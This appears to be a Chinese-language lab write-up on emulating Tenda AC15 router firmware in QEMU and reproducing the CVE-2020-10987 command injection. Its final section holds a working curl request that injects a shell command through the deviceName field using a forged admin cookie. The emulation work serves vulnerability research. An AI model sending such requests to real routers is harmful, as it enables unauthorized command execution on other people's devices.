针对Tenda AC15路由器固件重托管和远程命令执行(CVE-2020-10987)漏洞利用复现的编写指南。
这篇说明详细展示了我如何仿真AC15 (V15.03.05.19)固件的Web服务器,使用QEMU,使其可以从主机浏览器访问,并利用存在漏洞的/goform/setUsbUnload处理程序(CVE-2020-10987)在仿真的根文件系统中执行命令。
squashfs文件系统并开始逆向分析首先我们需要获取固件镜像。我未能找到AC15 V15.03.05.19的固件镜像下载链接,但我找到了一个GitHub仓库,其中包含了已提取的squashfs文件系统。
如果我们有正确的镜像文件,我们可以使用binwalk像这样提取它,```
user@computer $ binwalk -e AC15_V15.03.05.19.bin
64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08
user@computer $ cd _AC15_V15.03.05.19.bin.extracted
由于我们没有正确的镜像文件,但有一个已经提取了文件系统的仓库,我们可以直接克隆该仓库。```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061
我创建了一个名为 VR 的目录,并将此仓库克隆到其中。我的 rootfs 位于 $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs
很好,现在我们有了 AC15 V15.03.05.19 固件。接下来进行一些逆向分析,看看情况如何。
我将使用 Ghidra 11.4.2 进行逆向分析。
让我们导航到目标二进制文件 rootfs/bin/httpd,并将其加载到 Ghidra 中。
如果我们转到 formsetUsbUnload 函数,可以看到,```C
uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc);
doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1);
FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n");
FUN_0002c6cc(param_1,"{"errCode":0}");
FUN_0002cc14(param_1,200);
return;
这是漏洞所在。`deviceName`参数被直接传递给`doSystemCmd`,从而允许我们发送任意命令。
既然我们要使用qemu重放此固件,而非原始路由器硬件,一些程序会尝试访问不存在的设备,导致我们的启动过程崩溃。
由于我们的目标是利用Web服务器(`httpd`),我只专注于重放该二进制文件,而不是整个启动过程(`/rootfs/etc_ro/init.d/rcS`)。_事后看来,我不确定这是否是正确做法_
因此,在查看`rcS`时,我想找出`rcS`可能做的、而`httpd`可能需要的内容。在文件末尾附近,我们可以看到:```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &
rcS 在其余堆栈启动之前,在后台启动 cfmd。
经过更多研究并查看易受攻击的函数如何发送命令后,我得出的结论是:
httpd 构建一个 cfm postcfm 客户端通过 UNIX 域套接字(例如 /var/cfm_socket)与 cfmd 通信在 cfmd 的 InitServer 例程中,我们可以看到```C
unlink("/var/cfm_socket");
strncpy(sa_unix.sun_path, "/var/cfm_socket", ...);
bind(fd, (sockaddr*)&sa_unix, 0x6e);
listen(fd, 5);
它创建一个 UIX 套接字并进行监听。
总体工作方式是,处理程序从每个客户端读取一个固定的 0x7e0 字节帧(`RecvMsg`/`SendMsg`)。前 4 个字节是命令代码;然后是一个 512 字节的键缓冲区和 1500 字节的值缓冲区(你可以在处理程序中看到栈对象的大小)。它根据操作码进行切换并回复一个 ACK 代码:
- `2` -> Get: `GetCfmValue(key, value)` 然后回复代码 `3`
- `0` -> Set: `SetCfmValue(key, value)` 然后回复代码 `1`
- `0x11` -> Unset: `UnSetCfmValue(key)` 然后回复代码 `0x12`
- `10` -> Commit: `SaveCfm2Flash()` 然后回复 `0x10`(成功)或 `0xB`(错误)
因此,为了模拟 `cfmd`,我创建了一个简短的脚本 `cfm_stub````C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#define SOCK_PATH "/var/cfm_socket"
// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
int s = socket(AF_UNIX, SOCK_STREAM, 0);
struct sockaddr_un addr = {0};
if (s < 0) { perror("socket"); return 1; }
unlink(SOCK_PATH);
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
if (listen(s, 5) < 0) { perror("listen"); return 1; }
for (;;) {
int c = accept(s, NULL, NULL);
if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
if (n > 0) {
// In some builds httpd asks for "lan.webiplansslen" etc.
// Any non-empty reply that looks like an IP keeps init happy.
const char *reply = "192.168.0.1";
write(c, reply, strlen(reply));
}
close(c);
}
close(s);
return 0;
}
我将在下一部分之后展示如何编译它。
下一个辅助文件是 hooks.so。有几个在 httpd 和 cfm 中使用的函数尝试与不存在的硬件交互。
以下是我们的程序启动时假设的内容:
/dev/nvram) 并返回合理的默认值。以下函数成为问题,因此我们必须使用 LD_PRELOAD=/hooks.so 进行修补。
get_flash_type() -> 如果返回 4,代码将采用基于文件的路径 (cfm_file_init),否则它将尝试与 MTD 通信(而我们没有 MTD)。get_cfm_blk_size_from_cache()(或其变体 j_get_cfm_blk_size_from_cache)用于咨询配置块大小。bcm_nvram_get) 的调用不得失败,否则堆栈会假设“NVRAM 已损坏”并进入恢复/重启逻辑。load_l7setting_file() 和 restore_power() 预期会成功,但它们会触及不存在的硬件/文件。这是我们的 hooks.c。感谢 azeria-labs 提供原始代码。```C
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }
int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }
int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }
int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }
char *bcm_nvram_get(char *key) { char *value = NULL;
if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }
printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }
现在,让我们编译这些文件并将它们放入我们的固件中。
要进行交叉编译,我们可以使用 Bootlin 的预构建 uClibc 工具链。```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc
您应该看到类似以下内容:```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib
现在我们可以用```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c
然后最后将它们安装到固件中。``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"
## 构建 ARM 客户系统
让我们使用 qemu 完整系统设置我们的 arm 客户机。
我在 `~/qsys` 创建了一个目录来存放这个客户系统。
现在在这个目录中,让我们通过以下步骤来设置我们的客户机:```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf
sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage
cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF
sudo chroot ~/qsys/rootfs-armhf apt-get update
sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
ifupdown curl ca-certificates
sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'
这将创建我们的 armhf 根文件系统,更新我们的客户机,设置一些基础工具,然后将 root username:password 设置为 root:root。
接下来,使用以下命令安装 armhf 内核```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp
然后我们将内核复制出来并构建 ext4 镜像```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/
dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt
现在启动我们的客户系统
从 ~/qsys 运行```bash
qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw
以下是启动命令中各行实际含义的简要说明。
- `-M vexpress-a9 -cpu cortex-a9 -m 512M` 使用 Versatile Express A9 开发板模型(Debian 的 armmp 内核支持的开发板)
- `-kernel/-dtb/-initr` 为这款开发板启动 Debian 内核/initrd,并附带 vexpress 设备树二进制文件
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` 标准的 SD 卡上 rootfs 配置,使用 PL011 串口控制台
- `-nographic -audiodev none,id=noaudio` 纯串口界面(无 SDL 窗口)且无音频
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` QEMU 用户模式 NAT;将 `host:2222` 转发到 `guest:22`,`host:8080` 转发到 `guest:80`。这对网络配置很重要,稍后会详细说明
- `-device virtio-net-device,netdev=net0` 为 `net0` 后端附加一个网卡
- `-drive file=./armhf.ext4,if=sd,format=raw` Debian rootfs 位于类似 SD 卡的块设备上(`/dev/mmcblk0`)
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` 通过 9p 使用标签 `fw` 将固件 rootfs(只读)暴露给客户机。我们会将其挂载到 `/firmware`,并在其上叠加一个 overlayfs 以实现可写性
在客户机内部,你可能会遇到一些错误。只要你能看到登录提示符并用 `root:root` 登录,那就没问题。
接下来,为了让客户机系统联网,请运行以下命令```
dhclient -v eth0 || udhcpc -i eth0
这将在 eth0 上获取一个DHCP租约
现在安装socat``` apt-get update && apt-get install -y socat
## 启动脚本
接下来,我们在客户机的根目录中创建启动脚本。```bash
nano boot_tenda.sh
这是我们虚拟机中的启动脚本 /root/boot_tenda_sh,包含解释每个步骤的注释。```bash
set -e
mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware
for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done
rm -rf /overlay_run
mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw
mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw
mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp
ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
pidof syslogd >/dev/null || syslogd
chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'
chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"
chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
if command -v socat >/dev/null; then
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 &
else
echo "socat not found"
fi
(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true
现在是时候运行它了```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh
您应该会看到一个在端口 80 上监听的服务 httpd
要进一步验证,请在您的宿主机上访问 http://127.0.0.1:8080/,即可看到路由器的首页。
如果您想了解更多关于网络如何工作的细节,请继续阅读;否则可以跳到最后一节,在那里我们将利用该 Web 服务器。
我们需要在虚拟机内加载路由器的 httpd,但要让宿主机浏览器能通过 http://127.0.0.1:8080/ 访问它,同时服务器仍认为自己绑定在路由器的 LAN IP(192.168.0.1)上。
实现这一目标需要三部分协作:
br0,IP 为 192.168.0.1)socat)我们在启动命令中通过指定如下参数来实现:```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0
- `-netdev user,...` 启用slirp(QEMU的用户模式NAT):客户机可以出站访问互联网(DHCP、DNS),无需在宿主机上使用root网桥或TAP设备。
- `hostfwd=tcp::2222-:22` 将宿主机端口2222转发到客户机端口22。
- `hostfwd=tcp::8080-:80` 将宿主机端口8080转发到客户机端口80。
然后我们获取`eth0`的DHCP租约。注意,Slirp通常为客户机分配`10.0.2.15`,网关为`10.0.2.2`。```bash
dhclient -v eth0 || udhcpc -i eth0
真实的固件期望绑定到IP为192.168.0.1的LAN网桥br0。我们重新创建它:```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
- 这些二进制文件(或其库)经常查询接口名称(例如 `lan_ifname=br0`),并期望一个桥接设备。
- 将 httpd 绑定到 `192.168.0.1` 可使其行为/重定向(例如 `302` 到 `http://192.168.0.1/main.html`)与真实设备一致。
- 此时,httpd 仅监听 `192.168.0.1:80`(而不是客户机的 `eth0`)。
### 3. 通过 `socat` 将桥接 `hostfwd` 转发至固件监听器
`host:8080` -> `guest:80` 已由 QEMU 设置完成。但 `httpd` 并未监听客户机的 `eth0:80`,而是监听 `192.168.0.1:80`。因此,在客户机内部,我们添加一个微小的 TCP 中继:```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
>/root/socat.log 2>&1 &
这是整体布局``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)
## Exploit Time
Web 堆栈通过一些同源/AJAX 检查和“已登录”cookie 来保护“goform”端点。发送 UI JavaScript 会发送的相同标头:```bash
curl -v \
-H 'Host: 192.168.0.1' \
-H 'Origin: http://192.168.0.1' \
-H 'Referer: http://192.168.0.1/index.html' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'deviceName=$(touch /tmp/Hello_World)' \
http://127.0.0.1:8080/goform/setUsbUnload
这到底是做什么的?
Host/Origin/Referer/X-Requested-With 通过处理器中的 AJAX + 同源检查Cookie: user=admin; password=<md5> 模拟已登录会话。在此例中,我使用了 md5("admin") = 21232f297a57a5a743894a0e4a801fc3deviceName=$(touch /tmp/Hello_World) 将设备名称设置为我们要运行的命令。在此例中,我们正在创建一个文件 /tmp/Hello_World
注意,运行此命令会挂起一段时间,然后很可能会因错误关闭连接。这是正常的,也是其工作证明。接下来,在来宾中进一步验证,我们可以检查新文件是否存在。```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"
您应该会看到```
-rw-r--r-- 1 root root 0 ... /tmp/Hello_World
success it worked!
我们通过执行发送的命令成功利用了重新托管的路由器